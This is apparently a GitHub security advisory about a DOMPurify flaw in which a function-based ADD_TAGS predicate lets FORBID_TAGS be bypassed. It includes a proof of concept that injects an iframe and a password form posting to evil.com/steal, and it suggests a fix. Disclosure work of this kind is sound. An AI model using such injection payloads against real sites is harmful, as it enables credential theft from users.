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DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-h7mw-gpvr-xq4m

Published

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef

Source published
22 Apr 2026 17:34:17 UTC
Source modified
10 Sep 2026 03:50:44 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

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